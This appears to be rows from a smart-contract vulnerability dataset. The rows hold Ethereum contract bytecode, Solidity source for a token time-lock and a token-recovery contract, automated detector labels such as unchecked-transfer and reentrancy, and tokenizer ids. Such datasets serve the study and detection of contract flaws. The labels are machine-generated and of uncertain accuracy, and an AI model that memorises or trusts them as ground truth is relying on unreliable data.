565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610fb0576040519150601f19603f3d011682016040523d82523d6000602084013e610fb5565b606091505b5050905080610d2857600080fd5b600b546001600160a01b03163314610fed5760405162461bcd60e51b8152600401610a8c9061309a565b601055565b610cef83838360405180602001604052806000815250611899565b600060025482106110755760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610a8c565b6009828154811061108857611088613182565b90600052602060002001549050919050565b600b546001600160a01b031633146110c45760405162461bcd60e51b8152600401610a8c9061309a565b8051610e8e90600c906020840190612b7c565b6000818152600360205260408120546001600160a01b031680610a5c5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610a8c565b600c805461115b906130cf565b80601f0160208091040260200160405190810160405280929190818152602001828054611187906130cf565b80156111d45780601f106111a9576101008083540402835291602001916111d4565b820191906000526020600020905b8154815290600101906020018083116111b757829003601f168201915b505050505081565b600b546001600160a01b031633146112065760405162461bcd60e51b8152600401610a8c9061309a565b601255565b600d805461115b906130cf565b60006001600160a01b0382166112835760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610a8c565b506001600160a01b031660009081526004602052604090205490565b600b546001600160a01b031633146112c95760405162461bcd60e51b8152600401610a8c9061309a565b6112d3600061210e565b565b600b546001600160a01b031633146112ff5760405162461bcd60e51b8152600401610a8c9061309a565b601355565b600b546001600160a01b0316331461132e5760405162461bcd60e51b8152600401610a8c9061309a565b601155565b600b546001600160a01b0316331461135d5760405162461bcd60e51b8152600401610a8c9061309a565b60188054911515600160a01b0260ff60a01b19909216919091179055565b606060018054610ac6906130cf565b600b546001600160a01b031633146113b45760405162461bcd60e51b8152600401610a8c9061309a565b6040516370a0823160e01b81523060048201526000906001600160a01b038316906370a0823190602401602060405180830381865afa1580156113fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061141f9190613198565b9050816001600160a01b031663a9059cbb611442600b546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af115801561148f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cef91906131b1565b600e54610100900460ff166115015760405162461bcd60e51b815260206004820152601460248201527357484954454c4953545f4e4f545f41435449564560601b6044820152606401610a8c565b8061150d816045612056565b61154b5760405162461bcd60e51b815260206004820152600f60248201526e1393d517d5d2125511531254d51151608a1b6044820152606401610a8c565b32331461156a5760405162461bcd60e51b8152600401610a8c9061315b565b601454336000908152601660205260409020546115889085906131e4565b11156115c65760405162461bcd60e51b815260206004820152600d60248201526c115610d1515114d7d312535255609a1b6044820152606401610a8c565b826013546115d491906131fc565b34146116145760405162461bcd60e51b815260206004820152600f60248201526e494e434f52524543545f56414c554560881b6044820152606401610a8c565b3360009081526016602052604090205461162f9084906131e4565b33600081815260166020526040902091909155610cef9084611cc4565b600e5460ff166116975760405162461bcd60e51b81526020600482015260166024820152755055424c49435f53414c455f4e4f545f41435449564560501b6044820152606401610a8c565b3233146116b65760405162461bcd60e51b8152600401610a8c9061315b565b601254336000908152601560205260409020546116d49083906131e4565b11156117125760405162461bcd60e51b815260206004820152600d60248201526c115610d1515114d7d312535255609a1b6044820152606401610a8c565b8060115461172091906131fc565b34146117605760405162461bcd60e51b815260206004820152600f60248201526e494e434f52524543545f56414c554560881b6044820152606401610a8c565b3360009081526015602052604090205461177b9082906131e4565b33600081815260156020526040902091909155610d289082611cc4565b610e8e338383612160565b606060006117b083611218565b67ffffffffffffffff8111156117c8576117c8612d72565b6040519080825280602002602001820160405280156117f1578160200160208202803683370190505b5090506000805b61180185611218565b81101561184a576118128582610e92565b838361181d8161321b565b94508151811061182f5761182f613182565b60209081029190910101526118438161321b565b90506117f8565b50909392505050565b600b546001600160a01b0316331461187d5760405162461bcd60e51b8152600401610a8c9061309a565b600e8054911515620100000262ff000019909216919091179055565b6118a33383611db4565b6118bf5760405162461bcd60e51b8152600401610a8c9061310a565b6118cb8484848461222f565b50505050565b600b546001600160a01b031633146118fb5760405162461bcd60e51b8152600401610a8c9061309a565b601455565b600b546001600160a01b0316331461192a5760405162461bcd60e51b8152600401610a8c9061309a565b60005b81811015610cef5761196683838381811061194a5761194a613182565b905060200201602081019061195f9190612c64565b6001611cc4565b806119708161321b565b91505061192d565b600b546001600160a01b031633146119a25760405162461bcd60e51b8152600401610a8c9061309a565b600e80549115156101000261ff0019909216919091179055565b6000818152600360205260409020546060906001600160a01b0316611a3b5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610a8c565b601854600160a01b900460ff16611ade57600d8054611a59906130cf565b80601f0160208091040260200160405190810160405280929190818152602001828054611a85906130cf565b8015611ad25780601f10611aa757610100808354040283529160200191611ad2565b820191906000526020600020905b815481529060010190602001808311611ab557829003601f168201915b50505050509050919050565b600c611ae983612262565b604051602001611afa929190613252565b6040516020818303038152906040529050919050565b600b546001600160a01b03163314611b3a5760405162461bcd60e51b8152600401610a8c9061309a565b600e805460ff19168215159081179091556040519081527f97f29479c7c44b7656bf427eb93a9dadcd6b4a3d900a3ac5df9de43a867de5d09060200160405180910390a150565b600b546001600160a01b03163314611bab5760405162461bcd60e51b8152600401610a8c9061309a565b6001600160a01b038116611c105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a8c565b610d288161210e565b600b546001600160a01b03163314611c435760405162461bcd60e51b8152600401610a8c9061309a565b8051610e8e90600d906020840190612b7c565b600081815260056020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611c8b826110d7565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600f54601054611cd690611e6161330d565b611ce083836131e4565b1115611d235760405162461bcd60e51b815260206004820152601260248201527113505617d4d55414131657d4915050d2115160721b6044820152606401610a8c565b60008211611d675760405162461bcd60e51b815260206004820152601160248201527004d5553545f42455f475245415445525f3607c1b6044820152606401610a8c565b60005b82811015611d9757611d8584611d8083856131e4565b612360565b80611d8f8161321b565b915050611d6a565b5081600f6000828254611daa91906131e4565b9091555050505050565b6000818152600360205260408120546001600160a01b0316611e2d5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610a8c565b6000611e38836110d7565b9050806001600160a01b0316846001600160a01b03161480611e735750836001600160a01b0316611e6884610b49565b6001600160a01b0316145b80611ea357506001600160a01b0380821660009081526006602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611ebe826110d7565b6001600160a01b031614611f265760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610a8c565b6001600160a01b038216611f885760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610a8c565b611f938383836124cb565b611f9e600082611c56565b6001600160a01b0383166000908152600460205260408120805460019290611fc790849061330d565b90915550506001600160a01b0382166000908152600460205260408120805460019290611ff59084906131e4565b909155505060008181526003602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b60408051306020820152908101829052336060820152600090819060800160408051601f1981840301815291905280516020909101206018549091506001600160a01b03166120fc856120f6846040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101829052600090605c01604051602081830303815290604052805190602001209050919050565b90612583565b6001600160a01b031614949350505050565b600b80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b031614156121c25760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610a8c565b6001600160a01b03838116600081815260066020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b61223a848484611eab565b612246848484846125a7565b6118cb5760405162461bcd60e51b8152600401610a8c90613324565b6060816122865750506040805180820190915260018152600360fc1b602082015290565b8160005b81156122b0578061229a8161321b565b91506122a99050600a8361338c565b915061228a565b60008167ffffffffffffffff8111156122cb576122cb612d72565b6040519080825280601f01601f1916602001820160405280156122f5576020820181803683370190505b5090505b8415611ea35761230a60018361330d565b9150612317600a866133a0565b6123229060306131e4565b60f81b81838151811061233757612337613182565b60200101906001600160f81b031916908160001a905350612359600a8661338c565b94506122f9565b6001600160a01b0382166123b65760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610a8c565b6000818152600360205260409020546001600160a01b03161561241b5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610a8c565b612427600083836124cb565b6001600160a01b03821660009081526004602052604081208054600192906124509084906131e4565b9091555050600081815260036020526040812080546001600160a01b0319166001600160a01b038516179055600280549161248a8361321b565b909155505060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6001600160a01b0383166125265761252181600980546000838152600a60205260408120829055600182018355919091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0155565b612549565b816001600160a01b0316836001600160a01b0316146125495761254983826126a5565b6001600160a01b03821661256057610cef81612742565b826001600160a01b0316826001600160a01b031614610cef57610cef82826127f1565b60008060006125928585612835565b9150915061259f816128a5565b509392505050565b60006001600160a01b0384163b1561269a57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906125eb9033908990889088906004016133b4565b6020604051808303816000875af1925050508015612626575060408051601f3d908101601f19168201909252612623918101906133f1565b60015b612680573d808015612654576040519150601f19603f3d011682016040523d82523d6000602084013e612659565b606091505b5080516126785760405162461bcd60e51b8152600401610a8c90613324565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611ea3565b506001949350505050565b600060016126b284611218565b6126bc919061330d565b60008381526008602052604090205490915080821461270f576001600160a01b03841660009081526007602090815260408083208584528252808320548484528184208190558352600890915290208190555b5060009182526008602090815260408084208490556001600160a01b039094168352600781528383209183525290812055565b6009546000906127549060019061330d565b6000838152600a60205260408120546009805493945090928490811061277c5761277c613182565b90600052602060002001549050806009838154811061279d5761279d613182565b6000918252602080832090910192909255828152600a909152604080822084905585825281205560098054806127d5576127d561340e565b6001900381819060005260206000200160009055905550505050565b60006127fc83611218565b6001600160a01b039093166000908152600760209081526040808320868452825280832085905593825260089052919091209190915550565b60008082516041141561286c5760208301516040840151606085015160001a61286087828585612a60565b9450945050505061289e565b825160401415612896576020830151604084015161288b868383612b4d565b93509350505061289e565b506000905060025b9250929050565b60008160048111156128b9576128b9613424565b14156128c25750565b60018160048111156128d6576128d6613424565b14156129245760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610a8c565b600281600481111561293857612938613424565b14156129865760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610a8c565b600381600481111561299a5761299a613424565b14156129f35760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610a8c565b6004816004811115612a0757612a07613424565b1415610d285760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610a8c565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0831115612a975750600090506003612b44565b8460ff16601b14158015612aaf57508460ff16601c14155b15612ac05750600090506004612b44565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015612b14573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116612b3d57600060019250925050612b44565b9150600090505b94509492505050565b6000806001600160ff1b03831660ff84901c601b01612b6e87828885612a60565b935093505050935093915050565b828054612b88906130cf565b90600052602060002090601f016020900481019282612baa5760008555612bf0565b82601f10612bc357805160ff1916838001178555612bf0565b82800160010185558215612bf0579182015b82811115612bf0578251825591602001919060010190612bd5565b50612bfc929150612c00565b5090565b5b80821115612bfc5760008155600101612c01565b6001600160e01b031981168114610d2857600080fd5b600060208284031215612c3d57600080fd5b8135612c4881612c15565b9392505050565b6001600160a01b0381168114610d2857600080fd5b600060208284031215612c7657600080fd5b8135612c4881612c4f565b60005b83811015612c9c578181015183820152602001612c84565b838111156118cb5750506000910152565b60008151808452612cc5816020860160208601612c81565b601f01601f19169290920160200192915050565b602081526000612c486020830184612cad565b600060208284031215612cfe57600080fd5b5035919050565b60008060408385031215612d1857600080fd5b8235612d2381612c4f565b946020939093013593505050565b600080600060608486031215612d4657600080fd5b8335612d5181612c4f565b92506020840135612d6181612c4f565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff80841115612da357612da3612d72565b604051601f8501601f19908116603f01168101908282118183101715612dcb57612dcb612d72565b81604052809350858152868686011115612de457600080fd5b858560208301376000602087830101525050509392505050565b600082601f830112612e0f57600080fd5b612c4883833560208501612d88565b600060208284031215612e3057600080fd5b813567ffffffffffffffff811115612e4757600080fd5b611ea384828501612dfe565b600060208284031215612e6557600080fd5b813567ffffffffffffffff811115612e7c57600080fd5b8201601f81018413612e8d57600080fd5b611ea384823560208401612d88565b8015158114610d2857600080fd5b600060208284031215612ebc57600080fd5b8135612c4881612e9c565b60008060408385031215612eda57600080fd5b82359150602083013567ffffffffffffffff811115612ef857600080fd5b612f0485828601612dfe565b9150509250929050565b60008060408385031215612f2157600080fd5b8235612f2c81612c4f565b91506020830135612f3c81612e9c565b809150509250929050565b6020808252825182820181905260009190848201906040850190845b81811015612f7f57835183529284019291840191600101612f63565b50909695505050505050565b60008060008060808587031215612fa157600080fd5b8435612fac81612c4f565b93506020850135612fbc81612c4f565b925060408501359150606085013567ffffffffffffffff811115612fdf57600080fd5b612feb87828801612dfe565b91505092959194509250565b6000806020838503121561300a57600080fd5b823567ffffffffffffffff8082111561302257600080fd5b818501915085601f83011261303657600080fd5b81358181111561304557600080fd5b8660208260051b850101111561305a57600080fd5b60209290920196919550909350505050565b6000806040838503121561307f57600080fd5b823561308a81612c4f565b91506020830135612f3c81612c4f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c908216806130e357607f821691505b6020821081141561310457634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252600d908201526c10d3d395149050d517d0d05313609a1b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156131aa57600080fd5b5051919050565b6000602082840312156131c357600080fd5b8151612c4881612e9c565b634e487b7160e01b600052601160045260246000fd5b600082198211156131f7576131f76131ce565b500190565b6000816000190483118215151615613216576132166131ce565b500290565b600060001982141561322f5761322f6131ce565b5060010190565b60008151613248818560208601612c81565b9290920192915050565b600080845481600182811c91508083168061326e57607f831692505b602080841082141561328e57634e487b7160e01b86526022600452602486fd5b8180156132a257600181146132b3576132e0565b60ff198616895284890196506132e0565b60008b81526020902060005b868110156132d85781548b8201529085019083016132bf565b505084890196505b5050505050506133046132f38286613236565b64173539b7b760d91b815260050190565b95945050505050565b60008282101561331f5761331f6131ce565b500390565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b60008261339b5761339b613376565b500490565b6000826133af576133af613376565b500690565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906133e790830184612cad565b9695505050505050565b60006020828403121561340357600080fd5b8151612c4881612c15565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fdfea264697066735822122066f68fe55850c9f118b5e0850e282aecf89d3adde5bb3d9815b3860a2990239864736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 16048, 2546, 2487, 2278, 17788, 2094, 2683, 16147, 2475, 2050, 2692, 2683, 24594, 2575, 2683, 2620, 11387, 16576, 2546, 21057, 2692, 2063, 24087, 2581, 17465, 27814, 2629, 2063, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 2340, 1025, 12324, 1005, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1005, 1025, 12324, 1005, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1005, 1025, 12324, 1005, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 19888, 9888, 1013, 14925, 5104, 2050, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 5622, 2497, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,632
0x9717162ddbc3071f859427a7486a0a51f45f2920
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 27043200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xFd183C25D3DE51871b80b5D768EC4dD536736D64; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631624335681146100be57806338af3eed146100e55780636e15266a14610116578063834ee4171461012b57806386d1a69f146101405780638da5cb5b146101575780639b7faaf01461016c5780639e1a4d1914610195578063a4e2d634146101aa578063f2fde38b146101bf578063f83d08ba146101e0578063fa2a8997146101f5575b600080fd5b3480156100ca57600080fd5b506100d361020a565b60408051918252519081900360200190f35b3480156100f157600080fd5b506100fa610210565b60408051600160a060020a039092168252519081900360200190f35b34801561012257600080fd5b506100d361021f565b34801561013757600080fd5b506100d3610225565b34801561014c57600080fd5b5061015561022b565b005b34801561016357600080fd5b506100fa6103d1565b34801561017857600080fd5b506101816103e0565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506100d36103e8565b3480156101b657600080fd5b5061018161047e565b3480156101cb57600080fd5b50610155600160a060020a036004351661049f565b3480156101ec57600080fd5b50610181610533565b34801561020157600080fd5b506101816105db565b60045481565b600254600160a060020a031681565b60055481565b60035481565b60008054600160a060020a0316331461024357600080fd5b60025474010000000000000000000000000000000000000000900460ff16151561026c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff161561029557600080fd5b61029d6103e0565b15156102a857600080fd5b6102b06103e8565b600154600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032457600080fd5b505af1158015610338573d6000803e3d6000fd5b505050506040513d602081101561034e57600080fd5b505060025460408051600160a060020a0390921682526020820183905280517f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a919281900390910190a1506002805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000179055565b600054600160a060020a031681565b600454421190565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050506040513d602081101561047757600080fd5b5051905090565b60025474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461054b57600080fd5b60025474010000000000000000000000000000000000000000900460ff161561057357600080fd5b600061057d6103e8565b1161058757600080fd5b4260038190556005546105a0919063ffffffff6105fd16565b6004556002805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905590565b6002547501000000000000000000000000000000000000000000900460ff1681565b60008282018381101561060c57fe5b93925050505600a165627a7a72305820d5ec2364ebfbb0504583c4d4da00ae582861b99236b69217a71b5d9b1134792a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 16576, 16048, 2475, 14141, 9818, 14142, 2581, 2487, 2546, 27531, 2683, 20958, 2581, 2050, 2581, 18139, 2575, 2050, 2692, 2050, 22203, 2546, 19961, 2546, 24594, 11387, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,633
0x97173277FED329ee844BAfa44D7719ad372a7150
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/access/AccessControlEnumerable.sol"; contract TokenSaver is AccessControlEnumerable { using SafeERC20 for IERC20; bytes32 public constant TOKEN_SAVER_ROLE = keccak256("TOKEN_SAVER_ROLE"); event TokenSaved(address indexed by, address indexed receiver, address indexed token, uint256 amount); modifier onlyTokenSaver() { require(hasRole(TOKEN_SAVER_ROLE, _msgSender()), "TokenSaver.onlyTokenSaver: permission denied"); _; } constructor() { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); } function saveToken(address _token, address _receiver, uint256 _amount) external onlyTokenSaver { IERC20(_token).safeTransfer(_receiver, _amount); emit TokenSaved(_msgSender(), _receiver, _token, _amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, 